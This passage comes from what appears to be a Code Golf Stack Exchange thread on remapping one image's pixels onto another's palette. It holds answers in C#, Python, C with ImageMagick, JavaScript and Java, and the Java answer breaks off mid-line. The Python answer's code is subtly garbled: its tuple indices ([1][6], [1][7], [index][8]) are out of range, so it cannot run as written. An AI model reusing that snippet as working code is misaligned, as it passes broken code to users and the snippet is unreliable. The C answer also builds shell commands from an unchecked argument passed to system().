}\n int Delta(YRB p1, YRB p2, int sf)\n {\n int dy = (p1.y - p2.y);\n int dr = (p1.cr - p2.cr);\n int db = (p1.cb - p2.cb);\n return dy * dy * sf + dr * dr + db * db;\n }\n Bitmap GetData(Bitmap bmp, out Pixel[] Output)\n {\n FastBitmap fb = new FastBitmap(bmp);\n BitmapData bmpData = fb.LockImage(); \n Output = new Pixel[bmp.Width * bmp.Height];\n int p = 0;\n for (int y = 0; y < bmp.Height; y++)\n {\n uint col = fb.GetPixel(0, y);\n Output[p++] = new Pixel(col, 0, y);\n for (int x = 1; x < bmp.Width; x++)\n {\n col = fb.GetNextPixel();\n Output[p++] = new Pixel(col, x, y);\n }\n }\n fb.UnlockImage(); // Unlock the bits.\n Array.Sort(Output, (a, b) => a.y - b.y);\n return bmp;\n }\n void DupImage(PictureBox s, PictureBox d)\n {\n if (d.Image != null)\n d.Image.Dispose();\n d.Image = new Bitmap(s.Image.Width, s.Image.Height); \n }\n void GetImagePB(PictureBox pb, string file)\n {\n Bitmap bms = new Bitmap(file, false);\n Bitmap bmp = bms.Clone(new Rectangle(0, 0, bms.Width, bms.Height), PixelFormat.Format32bppArgb);\n bms.Dispose(); \n if (pb.Image != null)\n pb.Image.Dispose();\n pb.Image = bmp;\n }\n }\n //Adapted from Visual C# Kicks - http://www.vcskicks.com/\n unsafe public class FastBitmap\n {\n private Bitmap workingBitmap = null;\n private int width = 0;\n private BitmapData bitmapData = null;\n private Byte* pBase = null;\n public FastBitmap(Bitmap inputBitmap)\n {\n workingBitmap = inputBitmap;\n }\n public BitmapData LockImage()\n {\n Rectangle bounds = new Rectangle(Point.Empty, workingBitmap.Size);\n width = (int)(bounds.Width * 4 + 3) & ~3;\n //Lock Image\n bitmapData = workingBitmap.LockBits(bounds, ImageLockMode.ReadWrite, PixelFormat.Format32bppArgb);\n pBase = (Byte*)bitmapData.Scan0.ToPointer();\n return bitmapData;\n }\n private uint* pixelData = null;\n public uint GetPixel(int x, int y)\n {\n pixelData = (uint*)(pBase + y * width + x * 4);\n return *pixelData;\n }\n public uint GetNextPixel()\n {\n return *++pixelData;\n }\n public void GetPixelArray(int x, int y, uint[] Values, int offset, int count)\n {\n pixelData = (uint*)(pBase + y * width + x * 4);\n while (count-- > 0)\n {\n Values[offset++] = *pixelData++;\n }\n }\n public void SetPixel(int x, int y, uint color)\n {\n pixelData = (uint*)(pBase + y * width + x * 4);\n *pixelData = color;\n }\n public void SetNextPixel(uint color)\n {\n *++pixelData = color;\n }\n public void UnlockImage()\n {\n workingBitmap.UnlockBits(bitmapData);\n bitmapData = null;\n pBase = null;\n }\n }\n}\n```\n**Form1.Designer.cs**\n```\nnamespace Palette\n{\n partial class Form1\n {\n /// \n /// Variabile di progettazione necessaria.\n /// \n private System.ComponentModel.IContainer components = null;\n /// \n /// Liberare le risorse in uso.\n /// \n /// ha valore true se le risorse gestite devono essere eliminate, false in caso contrario.\n protected override void Dispose(bool disposing)\n {\n if (disposing && (components != null))\n {\n components.Dispose();\n }\n base.Dispose(disposing);\n }\n #region Codice generato da Progettazione Windows Form\n /// \n /// Metodo necessario per il supporto della finestra di progettazione. Non modificare\n /// il contenuto del metodo con l'editor di codice.\n /// \n private void InitializeComponent()\n {\n this.components = new System.ComponentModel.Container();\n this.panel = new System.Windows.Forms.FlowLayoutPanel();\n this.pbSource = new System.Windows.Forms.PictureBox();\n this.pbPalette = new System.Windows.Forms.PictureBox();\n this.pbOutput = new System.Windows.Forms.PictureBox();\n this.btnStart = new System.Windows.Forms.Button();\n this.progressBar = new System.Windows.Forms.ProgressBar();\n this.imageList1 = new System.Windows.Forms.ImageList(this.components);\n this.lvFiles = new System.Windows.Forms.ListView();\n this.lnTotSwap = new System.Windows.Forms.Label();\n this.lnCurSwap = new System.Windows.Forms.Label();\n this.panel.SuspendLayout();\n ((System.ComponentModel.ISupportInitialize)(this.pbSource)).BeginInit();\n ((System.ComponentModel.ISupportInitialize)(this.pbPalette)).BeginInit();\n ((System.ComponentModel.ISupportInitialize)(this.pbOutput)).BeginInit();\n this.SuspendLayout();\n // \n // panel\n // \n this.panel.AutoScroll = true;\n this.panel.AutoSize = true;\n this.panel.Controls.Add(this.pbSource);\n this.panel.Controls.Add(this.pbPalette);\n this.panel.Controls.Add(this.pbOutput);\n this.panel.Dock = System.Windows.Forms.DockStyle.Top;\n this.panel.Location = new System.Drawing.Point(0, 0);\n this.panel.Name = \"panel\";\n this.panel.Size = new System.Drawing.Size(748, 266);\n this.panel.TabIndex = 3;\n this.panel.WrapContents = false;\n // \n // pbSource\n // \n this.pbSource.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;\n this.pbSource.Location = new System.Drawing.Point(3, 3);\n this.pbSource.Name = \"pbSource\";\n this.pbSource.Size = new System.Drawing.Size(157, 260);\n this.pbSource.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize;\n this.pbSource.TabIndex = 1;\n this.pbSource.TabStop = false;\n // \n // pbPalette\n // \n this.pbPalette.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;\n this.pbPalette.Location = new System.Drawing.Point(166, 3);\n this.pbPalette.Name = \"pbPalette\";\n this.pbPalette.Size = new System.Drawing.Size(172, 260);\n this.pbPalette.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize;\n this.pbPalette.TabIndex = 3;\n this.pbPalette.TabStop = false;\n // \n // pbOutput\n // \n this.pbOutput.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;\n this.pbOutput.Location = new System.Drawing.Point(344, 3);\n this.pbOutput.Name = \"pbOutput\";\n this.pbOutput.Size = new System.Drawing.Size(172, 260);\n this.pbOutput.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize;\n this.pbOutput.TabIndex = 4;\n this.pbOutput.TabStop = false;\n // \n // btnStart\n // \n this.btnStart.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right)));\n this.btnStart.Location = new System.Drawing.Point(669, 417);\n this.btnStart.Name = \"btnStart\";\n this.btnStart.Size = new System.Drawing.Size(79, 42);\n this.btnStart.TabIndex = 4;\n this.btnStart.Text = \"Start\";\n this.btnStart.UseVisualStyleBackColor = true;\n this.btnStart.Click += new System.EventHandler(this.BtnStart_Click);\n // \n // progressBar\n // \n this.progressBar.Dock = System.Windows.Forms.DockStyle.Bottom;\n this.progressBar.Location = new System.Drawing.Point(0, 465);\n this.progressBar.Name = \"progressBar\";\n this.progressBar.Size = new System.Drawing.Size(748, 16);\n this.progressBar.TabIndex = 5;\n // \n // imageList1\n // \n this.imageList1.ColorDepth = System.Windows.Forms.ColorDepth.Depth8Bit;\n this.imageList1.ImageSize = new System.Drawing.Size(16, 16);\n this.imageList1.TransparentColor = System.Drawing.Color.Transparent;\n // \n // lvFiles\n // \n this.lvFiles.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) \n | System.Windows.Forms.AnchorStyles.Right)));\n this.lvFiles.CheckBoxes = true;\n this.lvFiles.HideSelection = false;\n this.lvFiles.Location = new System.Drawing.Point(12, 362);\n this.lvFiles.MultiSelect = false;\n this.lvFiles.Name = \"lvFiles\";\n this.lvFiles.Size = new System.Drawing.Size(651, 97);\n this.lvFiles.Sorting = System.Windows.Forms.SortOrder.Ascending;\n this.lvFiles.TabIndex = 7;\n this.lvFiles.UseCompatibleStateImageBehavior = false;\n this.lvFiles.View = System.Windows.Forms.View.List;\n this.lvFiles.ItemCheck += new System.Windows.Forms.ItemCheckEventHandler(this.lvFiles_ItemCheck);\n this.lvFiles.ItemSelectionChanged += new System.Windows.Forms.ListViewItemSelectionChangedEventHandler(this.lvFiles_ItemSelectionChanged);\n // \n // lnTotSwap\n // \n this.lnTotSwap.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right)));\n this.lnTotSwap.Location = new System.Drawing.Point(669, 362);\n this.lnTotSwap.Name = \"lnTotSwap\";\n this.lnTotSwap.Size = new System.Drawing.Size(58, 14);\n this.lnTotSwap.TabIndex = 8;\n this.lnTotSwap.Text = \"label1\";\n // \n // lnCurSwap\n // \n this.lnCurSwap.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right)));\n this.lnCurSwap.Location = new System.Drawing.Point(669, 385);\n this.lnCurSwap.Name = \"lnCurSwap\";\n this.lnCurSwap.Size = new System.Drawing.Size(58, 14);\n this.lnCurSwap.TabIndex = 9;\n this.lnCurSwap.Text = \"label1\";\n // \n // Form1\n // \n this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);\n this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;\n this.BackColor = System.Drawing.SystemColors.ControlDark;\n this.ClientSize = new System.Drawing.Size(748, 481);\n this.Controls.Add(this.lnCurSwap);\n this.Controls.Add(this.lnTotSwap);\n this.Controls.Add(this.lvFiles);\n this.Controls.Add(this.progressBar);\n this.Controls.Add(this.btnStart);\n this.Controls.Add(this.panel);\n this.Name = \"Form1\";\n this.Text = \"Form1\";\n this.Load += new System.EventHandler(this.Form1_Load);\n this.panel.ResumeLayout(false);\n this.panel.PerformLayout();\n ((System.ComponentModel.ISupportInitialize)(this.pbSource)).EndInit();\n ((System.ComponentModel.ISupportInitialize)(this.pbPalette)).EndInit();\n ((System.ComponentModel.ISupportInitialize)(this.pbOutput)).EndInit();\n this.ResumeLayout(false);\n this.PerformLayout();\n }\n #endregion\n private System.Windows.Forms.FlowLayoutPanel panel;\n private System.Windows.Forms.PictureBox pbSource;\n private System.Windows.Forms.PictureBox pbPalette;\n private System.Windows.Forms.PictureBox pbOutput;\n private System.Windows.Forms.Button btnStart;\n private System.Windows.Forms.ProgressBar progressBar;\n private System.Windows.Forms.ImageList imageList1;\n private System.Windows.Forms.ListView lvFiles;\n private System.Windows.Forms.Label lnTotSwap;\n private System.Windows.Forms.Label lnCurSwap;\n }\n}\n```\n**Program.cs**\n```\nusing System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Windows.Forms;\nnamespace Palette\n{\n static class Program\n {\n /// \n /// Punto di ingresso principale dell'applicazione.\n /// \n [STAThread]\n static void Main()\n {\n Application.EnableVisualStyles();\n Application.SetCompatibleTextRenderingDefault(false);\n Application.Run(new Form1());\n }\n }\n}\n```\nCheck 'Unsafe code' in project property to compile.\n[Answer]\n# Python\nEdit: Just realized that you can actually sharpen the source with ImageFilter to make the results more well-defined.\nRainbow -> Mona Lisa (sharpened Mona Lisa source, Luminance only)\n![enter image description here](https://i.stack.imgur.com/fe3bX.png)\nRainbow -> Mona Lisa (non-sharpened source, weighted with Y = 10, I = 10, Q = 0)\n![enter image description here](https://i.stack.imgur.com/yUOpD.png)\nMona Lisa -> American Gothic (non-sharpened source, Luminance only)\n![enter image description here](https://i.stack.imgur.com/8JR1o.png)\nMona Lisa -> American Gothic (non-sharpened source, weighted with Y = 1, I = 10, Q = 1)\n![enter image description here](https://i.stack.imgur.com/u6V6z.png)\nRiver -> Rainbow (non-sharpened source, Luminance only)\n![enter image description here](https://i.stack.imgur.com/qbtq2.png)\nBasically, it gets all the pixels from the two pictures into two lists.\nSort them with the luminance as the key. Y in YIQ represents the luminance. \nThen, for each pixel in the source (which is in ascending luminance order)\nget the RGB value from pixel of the same index in the pallete list.\n```\nimport Image, ImageFilter, colorsys\ndef getPixels(image):\n width, height = image.size\n pixels = []\n for x in range(width):\n for y in range(height):\n pixels.append([(x,y), image.getpixel((x,y))])\n return pixels\ndef yiq(pixel):\n # y is the luminance\n y,i,q = colorsys.rgb_to_yiq(pixel[1][0], pixel[1][6], pixel[1][7])\n # Change the weights accordingly to get different results\n return 10*y + 0*i + 0*q\n# Open the images\nsource = Image.open('ml.jpg')\npallete = Image.open('rainbow.png')\n# Sharpen the source... It won't affect the palette anyway =D\nsource = source.filter(ImageFilter.SHARPEN)\n# Sort the two lists by luminance\nsourcePixels = sorted(getPixels(source), key=yiq)\npalletePixels = sorted(getPixels(pallete), key=yiq)\ncopy = Image.new('RGB', source.size)\n# Iterate through all the coordinates of source\n# And set the new color\nindex = 0\nfor sourcePixel in sourcePixels:\n copy.putpixel(sourcePixel[0], palletePixels[index][8])\n index += 1\n# Save the result\ncopy.save('copy.png')\n```\nTo keep up with the trend of animations... \nPixels in the scream being quicksorted into starry night and vice-versa\n![enter image description here](https://i.stack.imgur.com/G6TrB.gif)\n![enter image description here](https://i.stack.imgur.com/yfvOv.gif)\n[Answer]\nC, with Lab color space and improved dithering\nDid I say I was done? I lied. I think the algorithm in my other solution is the best out there, but Perl just isn't fast enough for number crunching tasks, so I reimplemented my work in C. It now runs *all* of the images in this post, at a higher quality than the original at about 3 minutes per image, and slightly lower quality (0.5% level) runs in 20-30 seconds per image. Basically all of the work is done with ImageMagick, and the dithering is done using ImageMagick's cubic spline interpolation, which gives a better / less patterned result.\n## Code\n```\n#include \n#include \n#include \n#include \n#include \n#include \n#define ThrowWandException(wand) \\\n{ \\\n char \\\n *description; \\\n \\\n ExceptionType \\\n severity; \\\n \\\n description=MagickGetException(wand,&severity); \\\n (void) fprintf(stderr,\"%s %s %lu %s\\n\",GetMagickModule(),description); \\\n description=(char *) MagickRelinquishMemory(description); \\\n abort(); \\\n exit(-1); \\\n}\nint width, height; /* Target image size */\nMagickWand *source_wand, *target_wand, *img_wand, *target_lab_wand, *img_lab_wand;\nPixelPacket *source_pixels, *target_pixels, *img_pixels, *target_lab_pixels, *img_lab_pixels;\nImage *img, *img_lab, *target, *target_lab;\nCacheView *img_lab_view, *target_lab_view;\nExceptionInfo *e;\nMagickWand *load_image(const char *filename) {\n MagickWand *img = NewMagickWand();\n if (!MagickReadImage(img, filename)) {\n ThrowWandException(img);\n }\n return img;\n}\nPixelPacket *get_pixels(MagickWand *wand) {\n PixelPacket *ret = GetAuthenticPixels(\n GetImageFromMagickWand(wand), 0, 0,\n MagickGetImageWidth(wand), MagickGetImageHeight(wand), e);\n CatchException(e);\n return ret;\n}\nvoid sync_pixels(MagickWand *wand) {\n SyncAuthenticPixels(GetImageFromMagickWand(wand), e);\n CatchException(e);\n}\nMagickWand *transfer_pixels() {\n if (MagickGetImageWidth(source_wand) * MagickGetImageHeight(source_wand)\n != MagickGetImageWidth(target_wand) * MagickGetImageHeight(target_wand)) {\n perror(\"size mismtch\");\n }\n MagickWand *img_wand = CloneMagickWand(target_wand);\n img_pixels = get_pixels(img_wand);\n memcpy(img_pixels, source_pixels, \n MagickGetImageWidth(img_wand) * MagickGetImageHeight(img_wand) * sizeof(PixelPacket));\n sync_pixels(img_wand);\n return img_wand;\n}\nMagickWand *image_to_lab(MagickWand *img) {\n MagickWand *lab = CloneMagickWand(img);\n TransformImageColorspace(GetImageFromMagickWand(lab), LabColorspace);\n return lab;\n}\nint lab_distance(PixelPacket *a, PixelPacket *b) {\n int l_diff = (GetPixelL(a) - GetPixelL(b)) / 256,\n a_diff = (GetPixela(a) - GetPixela(b)) / 256,\n b_diff = (GetPixelb(a) - GetPixelb(b)) / 256;\n return (l_diff * l_diff + a_diff * a_diff + b_diff * b_diff);\n}\nint should_swap(int x1, int x2, int y1, int y2) {\n int dist = lab_distance(&img_lab_pixels[width * y1 + x1], &target_lab_pixels[width * y1 + x1])\n + lab_distance(&img_lab_pixels[width * y2 + x2], &target_lab_pixels[width * y2 + x2]);\n int swapped_dist = lab_distance(&img_lab_pixels[width * y2 + x2], &target_lab_pixels[width * y1 + x1])\n + lab_distance(&img_lab_pixels[width * y1 + x1], &target_lab_pixels[width * y2 + x2]);\n return swapped_dist < dist;\n}\nvoid pixel_multiply_add(MagickPixelPacket *dest, PixelPacket *src, double mult) {\n dest->red += (double)GetPixelRed(src) * mult;\n dest->green += ((double)GetPixelGreen(src) - 32768) * mult;\n dest->blue += ((double)GetPixelBlue(src) - 32768) * mult;\n}\n#define min(x,y) (((x) < (y)) ? (x) : (y))\n#define max(x,y) (((x) > (y)) ? (x) : (y))\ndouble mpp_distance(MagickPixelPacket *a, MagickPixelPacket *b) {\n double l_diff = QuantumScale * (a->red - b->red),\n a_diff = QuantumScale * (a->green - b->green),\n b_diff = QuantumScale * (a->blue - b->blue);\n return (l_diff * l_diff + a_diff * a_diff + b_diff * b_diff);\n}\nvoid do_swap(PixelPacket *pix, int x1, int x2, int y1, int y2) {\n PixelPacket tmp = pix[width * y1 + x1];\n pix[width * y1 + x1] = pix[width * y2 + x2];\n pix[width * y2 + x2] = tmp;\n}\nint should_swap_dither(double detail, int x1, int x2, int y1, int y2) {\n// const InterpolatePixelMethod method = Average9InterpolatePixel;\n const InterpolatePixelMethod method = SplineInterpolatePixel;\n MagickPixelPacket img1, img2, img1s, img2s, target1, target2;\n GetMagickPixelPacket(img, &img1);\n GetMagickPixelPacket(img, &img2);\n GetMagickPixelPacket(img, &img1s);\n GetMagickPixelPacket(img, &img2s);\n GetMagickPixelPacket(target, &target1);\n GetMagickPixelPacket(target, &target2);\n InterpolateMagickPixelPacket(img, img_lab_view, method, x1, y1, &img1, e);\n InterpolateMagickPixelPacket(img, img_lab_view, method, x2, y2, &img2, e);\n InterpolateMagickPixelPacket(target, target_lab_view, method, x1, y1, &target1, e);\n InterpolateMagickPixelPacket(target, target_lab_view, method, x2, y2, &target2, e);\n do_swap(img_lab_pixels, x1, x2, y1, y2);\n// sync_pixels(img_wand);\n InterpolateMagickPixelPacket(img, img_lab_view, method, x1, y1, &img1s, e);\n InterpolateMagickPixelPacket(img, img_lab_view, method, x2, y2, &img2s, e);\n do_swap(img_lab_pixels, x1, x2, y1, y2);\n// sync_pixels(img_wand);\n pixel_multiply_add(&img1, &img_lab_pixels[width * y1 + x1], detail);\n pixel_multiply_add(&img2, &img_lab_pixels[width * y2 + x2], detail);\n pixel_multiply_add(&img1s, &img_lab_pixels[width * y2 + x2], detail);\n pixel_multiply_add(&img2s, &img_lab_pixels[width * y1 + x1], detail);\n pixel_multiply_add(&target1, &target_lab_pixels[width * y1 + x1], detail);\n pixel_multiply_add(&target2, &target_lab_pixels[width * y2 + x2], detail);\n double dist = mpp_distance(&img1, &target1)\n + mpp_distance(&img2, &target2);\n double swapped_dist = mpp_distance(&img1s, &target1)\n + mpp_distance(&img2s, &target2);\n return swapped_dist + 1.0e-4 < dist;\n}\nint main(int argc, char *argv[]) {\n if (argc != 7) {\n fprintf(stderr, \"Usage: %s source.png target.png dest nodither_pct dither_pct detail\\n\", argv[0]);\n return 1;\n }\n char *source_filename = argv[1];\n char *target_filename = argv[2];\n char *dest = argv[3];\n double nodither_pct = atof(argv[4]);\n double dither_pct = atof(argv[5]);\n double detail = atof(argv[6]) - 1;\n const int SWAPS_PER_LOOP = 1000000;\n int nodither_limit = ceil(SWAPS_PER_LOOP * nodither_pct / 100);\n int dither_limit = ceil(SWAPS_PER_LOOP * dither_pct / 100);\n int dither = 0, frame = 0;\n char outfile[256], cmdline[1024];\n sprintf(outfile, \"out/%s.png\", dest);\n MagickWandGenesis();\n e = AcquireExceptionInfo();\n source_wand = load_image(source_filename);\n source_pixels = get_pixels(source_wand);\n target_wand = load_image(target_filename);\n target_pixels = get_pixels(target_wand);\n img_wand = transfer_pixels();\n img_pixels = get_pixels(img_wand);\n target_lab_wand = image_to_lab(target_wand);\n target_lab_pixels = get_pixels(target_lab_wand);\n img_lab_wand = image_to_lab(img_wand);\n img_lab_pixels = get_pixels(img_lab_wand);\n img = GetImageFromMagickWand(img_lab_wand);\n target = GetImageFromMagickWand(target_lab_wand);\n img_lab_view = AcquireAuthenticCacheView(img, e);\n target_lab_view = AcquireAuthenticCacheView(target,e);\n CatchException(e);\n width = MagickGetImageWidth(img_wand);\n height = MagickGetImageHeight(img_wand);\n while (1) {\n int swaps_made = 0;\n for (int n = 0 ; n < SWAPS_PER_LOOP ; n++) {\n int x1 = rand() % width,\n x2 = rand() % width,\n y1 = rand() % height,\n y2 = rand() % height;\n int swap = dither ?\n should_swap_dither(detail, x1, x2, y1, y2)\n : should_swap(x1, x2, y1, y2);\n if (swap) {\n do_swap(img_pixels, x1, x2, y1, y2);\n do_swap(img_lab_pixels, x1, x2, y1, y2);\n swaps_made ++;\n }\n }\n sync_pixels(img_wand);\n if (!MagickWriteImages(img_wand, outfile, MagickTrue)) {\n ThrowWandException(img_wand);\n }\n img_pixels = get_pixels(img_wand);\n sprintf(cmdline, \"cp out/%s.png anim/%s/%05i.png\", dest, dest, frame++);\n system(cmdline);\n if (!dither && swaps_made < nodither_limit) {\n sprintf(cmdline, \"cp out/%s.png out/%s-nodither.png\", dest, dest);\n system(cmdline);\n dither = 1;\n } else if (dither && swaps_made < dither_limit)\n break;\n }\n return 0;\n}\n```\nCompile with\n```\ngcc -std=gnu99 -O3 -march=native -ffast-math \\\n -o transfer `pkg-config --cflags MagickWand` \\\n transfer.c `pkg-config --libs MagickWand` -lm\n```\n## Results\nMostly the same as the Perl version, just slightly better, but there are a few exceptions. Dithering is less noticeable in general. Scream -> Starry Night doesn't have the \"flaming mountain\" effect, and the Camaro looks less glitchy with the gray pixels. I think the Perl version's colorspace code has a bug with low-saturation pixels.\n## American Gothic palette\n![](https://i.stack.imgur.com/xttJ2.png) ![](https://i.stack.imgur.com/EoP13.png)\n![](https://i.stack.imgur.com/pcntb.png) ![](https://i.stack.imgur.com/5LInn.png)\n## Mona Lisa palette\n![](https://i.stack.imgur.com/cbCVm.png) ![](https://i.stack.imgur.com/5x634.png)\n![](https://i.stack.imgur.com/B5IcL.png) ![](https://i.stack.imgur.com/ihbqI.png)\n![](https://i.stack.imgur.com/Df3WN.png) ![](https://i.stack.imgur.com/wv5ty.png)\n## Starry Night palette\n![](https://i.stack.imgur.com/RlGUO.png) ![](https://i.stack.imgur.com/0Crdw.png)\n![](https://i.stack.imgur.com/QGJR7.png) ![](https://i.stack.imgur.com/CEGMj.png)\n![](https://i.stack.imgur.com/JqYru.png) ![](https://i.stack.imgur.com/2btn6.png)\n## Scream palette\n![](https://i.stack.imgur.com/PdHjY.png) ![](https://i.stack.imgur.com/2Zrhx.png)\n![](https://i.stack.imgur.com/Z36eb.png) ![](https://i.stack.imgur.com/uijNq.png)\n![](https://i.stack.imgur.com/1dMIc.png) ![](https://i.stack.imgur.com/gQSQq.png)\n![](https://i.stack.imgur.com/EvO5m.png) ![](https://i.stack.imgur.com/1OwcP.png)\n## Spheres palette\n![](https://i.stack.imgur.com/uLVaw.png) ![](https://i.stack.imgur.com/HC4oM.png)\n![](https://i.stack.imgur.com/kE62J.png) ![](https://i.stack.imgur.com/Xb4Fm.png)\n![](https://i.stack.imgur.com/LpHWU.png) ![](https://i.stack.imgur.com/qQo6I.png)\n## Mustang (Camaro palette)\n![](https://i.stack.imgur.com/lmvIG.png) ![](https://i.stack.imgur.com/NStiy.png)\n## Camaro (Mustang palette)\n![](https://i.stack.imgur.com/Dq2t7.png) ![](https://i.stack.imgur.com/8txwI.jpg)\n[Answer]\n**JS**\nJust run on two image urls.\nAs a JS package you can run it by yourself in the browser. Provided are fiddles that play around with different settings. Please bear in mind that this fiddle: will be always up to date (contain all the settings). As this is growing (new options are added), I won't be updating all the previous fiddles.\n**Calls**\n* `f(\"string to image (palette)\", \"string to image\", {object of options});`\n* `f([[palette pixel], [palette pixel], ..., \"string to image\", {object of options});`\n**Options**\n* algorithm: `'balanced'`, `'surrounding'`, `'reverse'`, `'hsv'`, `'yiq'`, `'lab'`\n* speed: animation speed\n* movement: `true` - should the animation show movement from start to end position\n* surrounding: if `'surrounding'` algorithm is selected this is the weight of surrounding that will be taken into account when calculating weight of the given pixel\n* h s v: if `'hsv'` algorithm is selected these parameters control how much hue, saturation and value affect the weights\n* y i q: if `'qiv'` algorithm is selected these parameters control how much y i q affect the weights\n* l a b: if `'lab'` algorithm is selected these parameters control how much l a b affect the weights\n* noise: how much randomness will be added to weights\n* unique: should the pixels from palette be used only once (see: [Photomosaics or: How Many Programmers Does it Take to Replace a Light Bulb?](https://codegolf.stackexchange.com/questions/34484/photomosaics-or-how-many-programmers-does-it-take-to-replace-a-light-bulb))\n* pixel\\_1 / pixel\\_2 {width,height}: size of the pixel (in pixels :D)\n**Gallery** (for the showcases I'm always using Mona Lisa & American Gothic, unless other specified):\n* balanced: \n* ![weighted](https://i.stack.imgur.com/qotvw.png)\n* hsv: \n* ![hsv](https://i.stack.imgur.com/DZQnw.png)\n* lab: \n* ![lab](https://i.stack.imgur.com/T14YC.png)\n* weighted by surrounding as well: \n* ![weighted by surrounding](https://i.stack.imgur.com/GZTzD.png)\n* inspired with OP's gifs, now movement included as well: \n* because one of the comments got me wondering, what would happen if the palette was defined: (result reminds me of EGA, and does weird things with my eyes while generating)\n* ![EGA baby!](https://i.stack.imgur.com/JAGjg.png)\n* every color used once, with 5 gradient step between hues (0,0,0 -> 0,0,5 -> 0,0,10 ->...)\n* ![every color with step+5](https://i.stack.imgur.com/ZXc3e.png)\n* greyscale (0,0,0 -> ... -> 127,127,127 -> ... -> 255,255,255)\n* ![greyscale](https://i.stack.imgur.com/NWSS6.png)\n* black & white\n* ![b&w](https://i.stack.imgur.com/FtQk0.png)\n* Mona Lisa to Mona Lisa with noise: \n* ![noise baby!](https://i.stack.imgur.com/G4XQ5.png)\n* Mona Lisa to Mona Lisa inverse: \n* ![inverse](https://i.stack.imgur.com/BCjOT.png)\n* Rotation: \n* And for fun - the gif from OP showing how balanced algorithm is broken :D , lab though gives good result: \n* And what LAB does when a palette is specified: \n* having fun with this: [Photomosaics or: How Many Programmers Does it Take to Replace a Light Bulb?](https://codegolf.stackexchange.com/questions/34484/photomosaics-or-how-many-programmers-does-it-take-to-make-a-light-bulb) to produce this: (pixel: 10x10) (this one eye near where mona lisa's eye is freaks me out)\n* ![mosaic](https://i.stack.imgur.com/LPxb6.png)\n[Answer]\n## HSL nearest value with error propagation and dithering\nI've made minor adaptations to the code which I used for [my AllRGB images](http://allrgb.com/pjt33). This is designed to process 16 megapixel images with reasonable time and memory constraints, so it uses some data structure classes which aren't in the standard library; however, I've omitted those because there's already a lot of code here and this is the interesting code.\nFor AllRGB I manually tune the wavelets which give priority to certain areas of the image; for this unguided usage, I'm picking one wavelet which assumes rule of thirds layout putting the main interest a third of the way down from the top.\n![American Gothic with palette from Mona Lisa](https://i.stack.imgur.com/TDUnI.png)\n![Mona Lisa with palette from American Gothic](https://i.stack.imgur.com/aetik.png)\nMy favourite of the 36:\n![River with palette from Mona Lisa](https://i.stack.imgur.com/P8QOC.png)\n[Full Cartesian product of (image, palette)](http://cheddarmonk.org/palswap/)\n```\npackage org.cheddarmonk.graphics;\nimport org.cheddarmonk.util.*;\nimport java.awt.Point;\nimport java.awt.image.*;\nimport java.io.File;\nimport java.util.Random;\nimport javax.imageio.ImageIO;\npublic class PaletteApproximator {\n public static void main(String[] args) throws Exception {\n // Adjust this to fine-tune for the areas which are most important.\n float[] waveletDefault = new float[] {0.5f, 0.333f, 0.5f, 0.5f, 1};\n generateAndSave(args[0], args[1], args[2], waveletDefault);\n }\n private static void generateAndSave(String paletteFile, String fileIn, String fileOut, float[]... wavelets) throws Exception {\n BufferedImage imgIn = ImageIO.read(new File(fileIn));\n int w = imgIn.getWidth(), h = imgIn.getHeight();\n int[] buf = new int[w * h];\n imgIn.getRGB(0, 0, w, h, buf, 0, w);\n SimpleOctTreeInt palette = loadPalette(paletteFile);\n generate(palette, buf, w, h, wavelets);\n // Masks for R, G, B, A.\n final int[] off = new int[]{0xff0000, 0xff00, 0xff, 0xff000000};\n // The corresponding colour model.\n ColorModel colourModel = ColorModel.getRGBdefault();\n DataBufferInt dbi = new DataBufferInt(buf, buf.length);\n Point origin = new Point(0, 0);\n WritableRaster raster = Raster.createPackedRaster(dbi, w, h, w, off, origin);\n BufferedImage imgOut = new BufferedImage(colourModel, raster, false, null);\n ImageIO.write(imgOut, \"PNG\", new File(fileOut));\n }\n private static SimpleOctTreeInt loadPalette(String paletteFile) throws Exception {\n BufferedImage img = ImageIO.read(new File(paletteFile));\n int w = img.getWidth(), h = img.getHeight();\n int[] buf = new int[w * h];\n img.getRGB(0, 0, w, h, buf, 0, w);\n // Parameters tuned for 4096x4096\n SimpleOctTreeInt octtree = new SimpleOctTreeInt(0, 1, 0, 1, 0, 1, 16, 12);\n for (int i = 0; i < buf.length; i++) {\n octtree.add(buf[i], transform(buf[i]));\n }\n return octtree;\n }\n private static void generate(SimpleOctTreeInt octtree, int[] buf, int w, int h, float[]... wavelets) {\n int m = w * h;\n LeanBinaryHeapInt indices = new LeanBinaryHeapInt();\n Random rnd = new Random();\n for (int i = 0; i < m; i++) {\n float x = (i % w) / (float)w, y = (i / w) / (float)w;\n float weight = 0;\n for (float[] wavelet : wavelets) {\n weight += wavelet[4] * Math.exp(-Math.pow((x - wavelet[0]) / wavelet[2], 2) - Math.pow((y - wavelet[1]) / wavelet[3], 2));\n }\n // Random element provides some kind of dither\n indices.insert(i, -weight + 0.2f * rnd.nextFloat());\n }\n // Error diffusion buffers.\n float[] errx = new float[m], erry = new float[m], errz = new float[m];\n for (int i = 0; i < m; i++) {\n int idx = indices.pop();\n int x = idx % w, y = idx / w;\n // TODO Bicubic interpolation? For the time being, prefer to scale the input image externally...\n float[] tr = transform(buf[x + w * y]);\n tr[0] += errx[idx]; tr[1] += erry[idx]; tr[2] += errz[idx];\n int pixel = octtree.nearestNeighbour(tr, 2);\n buf[x + y * w] = 0xff000000 | pixel;\n // Don't reuse pixels.\n float[] trPix = transform(pixel);\n boolean ok = octtree.remove(pixel, trPix);\n if (!ok) throw new IllegalStateException(\"Failed to remove from 